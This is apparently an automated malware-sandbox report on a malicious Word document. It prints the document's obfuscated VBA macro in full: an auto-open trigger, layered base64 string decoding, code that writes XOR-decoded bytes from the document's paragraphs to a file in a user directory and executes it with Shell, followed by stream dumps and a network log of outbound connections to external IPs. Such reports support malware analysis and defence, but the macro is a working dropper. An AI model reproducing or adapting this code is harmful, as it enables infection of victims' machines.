            bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 4) = 13
            bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 5) = 10
            lLen = 0
            AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 6
        Else
            lLen = lLen + 4
            AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 4
        End If
    Next BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

    If bOut(lOutSize) = 10 Then lOutSize = lOutSize - 2

    If iPad = 1 Then
        bOut(lOutSize) = 61
    ElseIf iPad = 2 Then
        bOut(lOutSize) = 61
        bOut(lOutSize - 1) = 61
    End If

    Encode64 = StrConv(bOut, vbUnicode)

End Function

Public Function sss(sString As String) As String

    Dim bOut() As Byte, bIn() As Byte, bTrans(255) As Byte, OOOPOOOOPOOOO6(63) As Long, OOOPOOOOPOOOO12(63) As Long
    Dim OOOPOOOOPOOOO18(63) As Long, lQuad As Long, iPad As Integer, BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB As Long, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA As Long, sOut As String
    Dim mnAjUYt As Long

    sString = Replace(sString, vbCr, vbNullString)
    sString = Replace(sString, vbLf, vbNullString)

    mnAjUYt = Len(sString) Mod 4
    
    If InStrRev(sString, "==") Then
        iPad = 2
    ElseIf InStrRev(sString, "=") Then
        iPad = 1
    End If

    For mnAjUYt = 0 To 255
        Select Case mnAjUYt
            Case 65 To 90
                bTrans(mnAjUYt) = mnAjUYt - 65
            Case 97 To 122
                bTrans(mnAjUYt) = mnAjUYt - 71
            Case 48 To 57
                bTrans(mnAjUYt) = mnAjUYt + 4
            Case 43
                bTrans(mnAjUYt) = 62
            Case 47
                bTrans(mnAjUYt) = 63
        End Select
    Next mnAjUYt

    For mnAjUYt = 0 To 63
        OOOPOOOOPOOOO6(mnAjUYt) = mnAjUYt * MNAJSAQQQQQQ6
        OOOPOOOOPOOOO12(mnAjUYt) = mnAjUYt * MNAJSAQQQQQQ12
        OOOPOOOOPOOOO18(mnAjUYt) = mnAjUYt * MNAJSAQQQQQQ18
    Next mnAjUYt

    bIn = StrConv(sString, vbFromUnicode)
    ReDim bOut((((UBound(bIn) + 1) \ 4) * 3) - 1)

    For BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB = 0 To UBound(bIn) Step 4
        lQuad = OOOPOOOOPOOOO18(bTrans(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB))) + OOOPOOOOPOOOO12(bTrans(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB + 1))) +                 OOOPOOOOPOOOO6(bTrans(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB + 2))) + bTrans(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB + 3))
        mnAjUYt = lQuad And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask
        bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) = mnAjUYt \ MNAJSAQQQQQQ16
        mnAjUYt = lQuad And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask
        bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 1) = mnAjUYt \ MNAJSAQQQQQQ8
        bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 2) = lQuad And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 3
    Next BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

    sOut = StrConv(bOut, vbUnicode)
    If iPad Then sOut = Left$(sOut, Len(sOut) - iPad)
    sss = sOut

End Function

Sub AddSpace()
RemoveParagraph
End Sub

Sub S1(b As String)
MkDir (sss(Encode64(b)))
End Sub
Sub S2(b As String)
ChDir (sss(Encode64(b)))
End Sub
Sub RemoveParagraph()
    Dim o______XX1199965413 As Integer
    Dim o______XX829861028 As Integer
    Dim o______XX1604111805 As String
    Dim o______XX160411180599 As String
    Dim o______XX2233213199 As String
    Dim o______XX1663264119 As Integer
    Dim o______XX166326411999 As Integer
    Dim o______XX824674320 As Paragraph
    Dim o______XX2303725678 As Long
    Dim o______XX2198577010 As Boolean
    Dim o______XX3588826028 As Integer
    Dim o______XX16041118051 As String
    Dim o______XX1604111805199 As String
    Dim o______XX1548724725 As Byte
    Dim o______XX154872472599 As Byte
    Dim o______XX4033650062 As String
    Dim o______XX4222613394 As String
    o______XX4222613394 = sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyVkZOVWRXV0doVllteEtXRmxVUm5kVU1WcHpXa2M1VjFadGVEQlpNM0JIVm1zeFdHVkliRmRpVkZaeVZtMHhTMUl5VGtsaVJtUlhUVEZLVFZac1ZtRldNVnBXVFZWV2FHVnFRVGs9")))))))))))
    o______XX4033650062 = sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVbTVrVmxKc2NIcFhhMXBQVjBaS2MySkVUbGhoTWsweFZtcEJlRll5U2tWVWJHaG9UV3N3ZUZacVFtRlRNazE1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GWkZSTmJFcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1pFWlNUbFpVVmtwV2JURXdWakZXZEZOc1dsaGlSMmhZV1ZkMFlWUkdWWGhYYlVaclVqQTFSMVV5TVRSVk1rcFhVMnR3VjJKVVJYZFdha1pYWkVaT2MxZHNhR2xTYTNCWlYxZDRiMkl5Vm5OVmJGWlRZbGhTV0ZSV2FFTlNiRnBZWlVaT1ZXSlZjRWRaTUZaM1ZqSktWVkpZWkZwbGEzQklXWHBHVDJSV1ZuTlhiV3hvVFVoQ1dWWXhaRFJpTVZWM1RVaG9WMWRIYUZsWmJHaFRWMFpTVjJGRlRsUmlSM1F6VjJ0U1UxWnJNWEpqUm1oV1RXNW9lbFpxUm1GT2JFWlpZVVprVTFKV2NEWldiWEJIVkRKU1YxVnVVbXBTYkVwVVZteG9RMWRXV1hoYVJGSnBUVlpXTTFSVmFHOVdiVXB6VTI1T1ZtRnJTbWhaTVZwVFZqRndSMVJyTlZOaVJtOTNWMnhXYTAxR1dsaFRhMlJxVWtWYVYxWnFUbTlrYkZweFVtdDBhazFyTlVoWlZWcHJZVWRGZWxGcmJGZFdSVXBvVjFaa1UxWXhUblZVYkZKcFVqRktWVlpHVWtKa01ERlNVRlF3UFE9PQ=="))))))))))))))
    Dim o______XX605319489 As String
    o______XX2233213199 = Environ(sss(sss(sss(sss(sss(sss(sss(sss("Vm0weE5GbFdiRmRYV0dSUFZsZFNWMWxyWkZOWFZteHlXa1pPVjJKSGVGWlZiVFZyVmpBeFdHVkliRmRpUmtwSVZtMHhTMUl5VGtkaVJuQk9UVEJLV1Zac1VrSmxSbHB5VGxaa1lWSXdXbGhXYlhoM1lVWmFWbGRyV2xCV2EwcFRWVVpSZDFCUlBUMD0="))))))))) + sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVU205V01WbDNXa2M1VjFKc2JETlhhMk0xVjBaYWMySkVUbGhoTWsweFZqQmFZV1JIVmtWUmJVWlhWbXhzTTFacVFtRlRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GWkZwV01VcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1drWndWMDFWY0VwV2JURXdZekpHVjFOdVVtaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMXBGV2xOVWJGcFZWbXR3VjJKVVJYZFpWRXBIVmpGT1dWcEdhR2xTTW1oWlYxWmtNRmxXVWtkV1dHaFlZbGhTV0ZSV2FFTlNiRnBZWlVoa1YwMUVSbGRaTUZwelZqRmFObEZZYUZabGEzQklXWHBHVDJSV1duTlRiV3hYVWpOb2IxWnRjRU5pTVVWNFdrVmthbEp0VWxsWmJGWmhZMVpTVjFkdVpFNVNiRm93V2xWa01GWlhTa2RqUkVaV1ZqTm9kbFpxUmt0ak1rNUhZVVprYUdFelFrbFdWRUpoV1ZkU1YxTnVUbFJpUjFKVVZGUkJkMDFSUFQwPQ=="))))))))))))))

    If Len(dir(o______XX2233213199, vbDirectory)) = 0 Then
        S1 (o______XX2233213199)
    Else:
        Wipedir (o______XX2233213199)
        S1 (o______XX2233213199)
    End If
        
    o______XX1604111805 = sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyUXlVWGxXYTJoV1YwZG9WVll3WkRSV1JsbDNXa1pPVmxKc2NIcFhhMk0xVmpGYWMySkVUbGhoTWsweFZtcEJlRmRIVmtWUmJVWlhWbXhzTTFadGNFSmxSbVJJVm10c2FWSnRhRzlVVm1oRFZWWmtWMXBFVWxwV01ERTBWMnRvUjFWdFNrZFhiR2hhWVRGYU0xWnNXbXRXTVdSelYyMTRVMkpIZHpCV01uUnZWakpHUjFOdVVsWmlSa3BvVm1wT1UxbFdjRmhsUjBacVRWWndNRlZ0ZUd0VWJGcDFVV3hvVjFKc2NGaFdha3BIVTBaYWRWSnNTbGRTTTAwMQ==")))))))))))))
    ChDrive (o______XX2233213199)
    S2 (o______XX2233213199)
    o______XX1663264119 = FreeFile()
    Open o______XX1604111805 For Binary As o______XX1663264119
    o______XX829861028 = 0
    For Each o______XX824674320 In ActiveDocument.Paragraphs
        DoEvents
            o______XX16041118051 = o______XX824674320.Range.Text
            o______XX2303725678 = 1
            o______XX829861028 = o______XX829861028 + 1
        If o______XX829861028 >= 24 Then
            While (o______XX2303725678 < Len(o______XX16041118051))
                o______XX1548724725 = o______XX4222613394 & Mid(o______XX16041118051, o______XX2303725678, 2)
                o______XX1548724725 = o______XX1548724725 Xor &H4C
                Put #o______XX1663264119, , o______XX1548724725
                o______XX2303725678 = o______XX2303725678 + 2
            Wend
        End If
    Next
    Close #o______XX1663264119
    o______XX16041118053 (o______XX1604111805)
End Sub


Public Sub Wipedir(pppppppppppppppppppppppppp As String)
Dim OOO
Set OOO = CreateObject(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyUXlVWGxXYTFwUFZsZFNXRll3Wkc5V2JGbDNXa2M1VjAxV2JETlhhMUpUVjBaS2RHVkliRmhoTWsweFZtcEdTMlJIVmtsaVJtaG9UVlZ3VlZadE1YcGxSbVJJVm10a2FWSXdXbFJXYlhoelRURmtWMWRzV214U2JHdzFWa2QwVjFVeVNrbFJhemxXWWxSV1JGcFdXbXRXTVZaeVdrWndWMDFFUlRCV2EyTXhVekpHVjFOWVpGaGlSa3BZV1ZkMFlWUkdWWGhYYlhSWFRWaENSbFpYZUZOaFZscHlWMVJHVjJFeVVYZFhWbVJIVmpGT2RWVnNXbWxoTUhCWlZrWldhMVV5VW5OWGJrNVlZbGhTV1ZWcVJrdFRWbFowVFZjNVZXSkdjRnBWVjNCWFZqRkplbUZHYUZwbGExcDZWbXBHVDJSV1ZuUmhSbEpUVmxoQ1dWWXhXbXROUmtwMFZWaG9WbUpHY0ZsWmJGWmhZMVpTVjFkdVpFNVNiRm93VkZab2ExWlhTbFpqUldSYVRVWmFNMVpxU2tabFZsWlpXa1p3YUdFelFrMVdWM0JIVkRKU1YxZHVUbFJpVjJoeldXeG9iMWRHV25STlNHaFBVbTE0V0ZZeGFHOVdiVXB5VGxaU1YyRXlVVEJXVjNoaFZqRldXVnBHUWxaV1JFRTE="))))))))))))
If OOO.folderexists(pppppppppppppppppppppppppp) Then
OOO.deletefolder pppppppppppppppppppppppppp
Else
End
End If

End Sub
Sub Shits(vbHH As String)
Dim OBsGG
OBsGG = Shell(vbHH, 1)
End Sub
Sub o______XX16041118053(o______XX16041118050 As String)
    Dim o______XX1199965413 As Integer
    Dim o______XX2233213199 As String
o______XX2233213199 = Environ(sss(sss(sss(sss(sss(sss(sss(sss("Vm0weE5GbFdiRmRYV0dSUFZsZFNWMWxyWkZOWFZteHlXa1pPVjJKSGVGWlZiVFZyVmpBeFdHVkliRmRpUmtwSVZtMHhTMUl5VGtkaVJuQk9UVEJLV1Zac1VrSmxSbHB5VGxaa1lWSXdXbGhXYlhoM1lVWmFWbGRyV2xCV2EwcFRWVVpSZDFCUlBUMD0="))))))))) + sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVU205V01WbDNXa2M1VjFKc2JETlhhMk0xVjBaYWMySkVUbGhoTWsweFZqQmFZV1JIVmtWUmJVWlhWbXhzTTFacVFtRlRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GWkZwV01VcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1drWndWMDFWY0VwV2JURXdZekpHVjFOdVVtaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMXBGV2xOVWJGcFZWbXR3VjJKVVJYZFpWRXBIVmpGT1dWcEdhR2xTTW1oWlYxWmtNRmxXVWtkV1dHaFlZbGhTV0ZSV2FFTlNiRnBZWlVoa1YwMUVSbGRaTUZwelZqRmFObEZZYUZabGEzQklXWHBHVDJSV1duTlRiV3hYVWpOb2IxWnRjRU5pTVVWNFdrVmthbEp0VWxsWmJGWmhZMVpTVjFkdVpFNVNiRm93V2xWa01GWlhTa2RqUkVaV1ZqTm9kbFpxUmt0ak1rNUhZVVprYUdFelFrbFdWRUpoV1ZkU1YxTnVUbFJpUjFKVVZGUkJkMDFSUFQwPQ=="))))))))))))))
    ChDrive (o______XX2233213199)
    S2 (o______XX2233213199)
    Shits (o______XX2233213199 + sss(sss(sss(sss(sss(sss(sss(sss("Vm0weGQxRXhXWGxTYmxKWFlUSm9XRmx0ZEhkak1WVjNWMnQwV0ZKdGVGbGFWVll3WVVaS2MyTkdhRmRXYldoeVZsVmFWMVpWTVVWaGVqQTk=")))))))))
    
End Sub

Sub AutoOpen()
AddSpace
End Sub

Private Sub Workbook_Open()
AddSpace
End Sub

VBA File Name: ThisDocument.cls, Stream Size: 1308

General
Stream Path:	VBA/ThisDocument
VBA File Name:	ThisDocument.cls
Stream Size:	1308
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . < . . . % . . . y . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ( < X f . H . . : . 6 . \\ . W . . . . t H . . s . f R . _ . . . . . . . . . . . . . . . . . . . . P 1 . . . . , @ . . . . . 7 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 01 00 01 00 01 00 00 1e 04 00 00 e4 00 00 00 ea 01 00 00 3c 04 00 00 25 04 00 00 79 04 00 00 00 00 00 00 01 00 00 00 12 aa 83 bb 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 85 e1 28 3c 58 66 9a 48 ab 05 3a ee 36 a4 5c c5 57 a2 20 e0 2e 9b 74 48 9e e8 73 c7 66 52 1d 5f 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Creatable
VB_Name
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived
"ThisDocument"

VBA Code

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Streams

Stream Path: PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 424

General
Stream Path:	PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	424
Entropy:	5.41291700674
Base64 Encoded:	True
Data ASCII:	I D = " { F F C D 0 B 4 A - 2 7 4 B - 4 9 B 5 - A A 6 5 - 3 4 5 7 7 F 8 B 9 A 0 C } " . . D o c u m e n t = T h i s D o c u m e n t / & H 0 0 0 0 0 0 0 0 . . M o d u l e = N e w M a c r o s . . N a m e = " P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " E E E C E 3 1 7 3 F E B 2 9 E F 2 9 E F 2 9 E F 2 9 E F " . . D P B = " D C D E D 1 0 5 5 1 F 2 5 2 F 2 5 2 F 2 " . . G C = " C A C 8 C 7 3 B B 4 3 C B 4 3 C 4 B " . . . .
Data Raw:	49 44 3d 22 7b 46 46 43 44 30 42 34 41 2d 32 37 34 42 2d 34 39 42 35 2d 41 41 36 35 2d 33 34 35 37 37 46 38 42 39 41 30 43 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 44 6f 63 75 6d 65 6e 74 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4d 6f 64 75 6c 65 3d 4e 65 77 4d 61 63 72 6f 73 0d 0a 4e 61 6d 65 3d 22 50 72 6f 6a 65 63 74 22 0d 0a 48 65 6c 70 43 6f 6e 74 65 78 74 49 44 3d 22

Stream Path: PROJECTwm, File Type: data, Stream Size: 71

General
Stream Path:	PROJECTwm
File Type:	data
Stream Size:	71
Entropy:	3.34859995248
Base64 Encoded:	False
Data ASCII:	T h i s D o c u m e n t . T . h . i . s . D . o . c . u . m . e . n . t . . . N e w M a c r o s . N . e . w . M . a . c . r . o . s . . . . .
Data Raw:	54 68 69 73 44 6f 63 75 6d 65 6e 74 00 54 00 68 00 69 00 73 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 00 00 4e 65 77 4d 61 63 72 6f 73 00 4e 00 65 00 77 00 4d 00 61 00 63 00 72 00 6f 00 73 00 00 00 00 00

Stream Path: VBA/_VBA_PROJECT, File Type: data, Stream Size: 11163

General
Stream Path:	VBA/_VBA_PROJECT
File Type:	data
Stream Size:	11163
Entropy:	5.63595965668
Base64 Encoded:	True
Data ASCII:	. a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ( . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . . ( . x . 8 . 6 . ) . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 6 . \\ .
Data Raw:	cc 61 85 00 00 01 00 ff 15 04 00 00 09 04 00 00 e2 04 01 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 28 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: VBA/__SRP_0, File Type: data, Stream Size: 8028

General
Stream Path:	VBA/__SRP_0
File Type:	data
Stream Size:	8028
Entropy:	4.00391409187
Base64 Encoded:	False
Data ASCII:	. K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * \\ C N o r m a l r U . . . . . . . . . . . . . . . . . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . i . g D . S ~ . ^ . 3 . . . . . . . .
Data Raw:	93 4b 2a 85 01 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 01 00 00 00 00 00 01 00 02 00 01 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 01 00 09 00 00 00 2a 5c 43 4e 6f 72 6d 61 6c 72 55 de 07 00 00 80 00 00 00 80 00 00 00 80 00 00 00 04 00 00 7e 01 00 00 7e 01 00 00 7e 01 00 00 7e 01 00 00 7e 02 00 00

Stream Path: VBA/__SRP_1, File Type: data, Stream Size: 168

General
Stream Path:	VBA/__SRP_1
File Type:	data
Stream Size:	168
Entropy:	3.45905494445
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . s S t r i n g . . . . . . . . b . . . . . . . . p p p p p p p p p p p p p p p p p p p p p p p p p p . . . . . . . . v b H H . . . . . . . . o _ _ _ _ _ _ X X 1 6 0 4 1 1 1 8 0 5 0 ] . . . . . . .
Data Raw:	72 55 80 00 00 00 00 00 00 00 80 00 00 00 80 00 00 00 00 00 00 00 0a 00 00 00 09 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 ff ff ff ff 09 00 00 00 00 00 03 00 02 00 00 08 07 00 00 00 73 53 74 72 69 6e 67 01 00 00 08 01 00 00 00 62 07 00 00 08 1a 00 00 00 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 02 00 00 08 04 00 00 00

Stream Path: VBA/__SRP_2, File Type: data, Stream Size: 5828

General
Stream Path:	VBA/__SRP_2
File Type:	data
Stream Size:	5828
Entropy:	4.71236123935
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . . . . . ~ \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . , . . . . . . . . . . . I . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . q . . . . . . . . & . . . . . . a . . . . . . . ! . . . . . . . . . . . . . . . i . . . . . . . Y . . . . . . . 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 , . . . . . . . . . . . .
Data Raw:	72 55 80 00 00 00 80 00 00 00 80 00 00 00 80 00 00 00 02 00 00 7e 7c 00 00 7f 00 00 00 00 0e 00 00 00 09 00 00 00 00 00 00 00 09 00 00 00 00 00 03 00 08 00 00 00 00 00 02 00 0b 00 0b 00 2c 00 00 00 d1 00 00 00 00 00 02 00 49 01 00 00 00 00 02 00 09 08 00 00 00 00 00 00 a9 00 00 00 00 00 02 00 09 0c 00 00 00 00 00 00 01 19 00 00 00 00 00 00 81 0a 00 00 00 00 00 00 01 1d 00 00 00 00

Stream Path: VBA/__SRP_3, File Type: data, Stream Size: 560

General
Stream Path:	VBA/__SRP_3
File Type:	data
Stream Size:	560
Entropy:	2.34416861003
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . a . . . . . . . . . . . . 0 ( . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . a . . . . . . . . . . . . 0 $ . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . y . . . . . . . . . . . . 0 ( . ! . . . . . . . . . . ` . . . . . . . . . . . . . . .
Data Raw:	72 55 80 00 00 00 00 00 00 00 80 00 00 00 80 00 00 00 00 00 00 00 10 00 00 00 09 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff 00 00 00 00 08 00 00 00 04 00 28 00 81 00 00 00 00 00 02 00 00 00 00 60 04 00 fd ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 61 00 00 00 00 00 01 00 00 00 00 00 10 30 28 00 a9 00 00 00 00 00 02 00 01 00 00 60 04 00 fd ff ff ff ff ff ff ff ff ff ff ff 00 00

Stream Path: VBA/dir, File Type: data, Stream Size: 579

General
Stream Path:	VBA/dir
File Type:	data
Stream Size:	579
Entropy:	6.33932303857
Base64 Encoded:	True
Data ASCII:	. ? . . . . . . . . . . 0 * . . . . . p . . H . . . . . d . . . . . . . . P r o j e c t . Q . ( . . @ . . . . . = . . . . . l . . . . . . . . . } J ! Y $ . . . J . < . . . . . r s t d . o l e > . . s . t . . d . o . l . e P . . . h . % ^ . . * . \\ G { 0 0 0 2 0 . 4 3 0 - . . . . C . . . . . . . 0 0 4 6 } # . 2 . 0 # 0 # C : . \\ W i n d o w s . \\ S y s W O W 6 . 4 \\ . e 2 . t l b . # O L E A u t . o m a t i o n . ` . . . . E N o r m a l . . E N . C r . m . a Q . F . . . . . . . * . \\ C . . . . . I ! Y .
Data Raw:	01 3f b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e2 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28 00 00 40 02 14 06 02 14 3d ad 02 0a 07 02 6c 01 14 08 06 12 09 02 12 80 7d 4a 21 59 24 00 0c 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 10 6f 6c 65 3e 02 19 73 00 74 00 00 64 00 6f 00 6c 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5c 47 7b 30 30

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 17, 2021 21:43:22.937797070 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:22.979221106 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:22.979372978 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:23.030906916 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:23.072232008 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:23.080873966 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:23.080923080 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:23.080955982 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:23.081120014 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:23.095165014 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:23.136511087 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:23.136955023 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:23.344347000 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:23.385757923 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:23.385946035 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:23.802284002 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:23.844379902 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:24.150795937 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:24.150859118 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:24.150995970 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:24.159529924 CEST	49166	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:24.211431980 CEST	57667	49166	185.195.232.251	192.168.2.22
Jul 17, 2021 21:43:24.717339039 CEST	49166	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:24.769429922 CEST	57667	49166	185.195.232.251	192.168.2.22
Jul 17, 2021 21:43:25.263387918 CEST	49166	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:25.315313101 CEST	57667	49166	185.195.232.251	192.168.2.22
Jul 17, 2021 21:43:30.319852114 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:30.361310959 CEST	443	49165	104.23.98.190	192.168.2.22
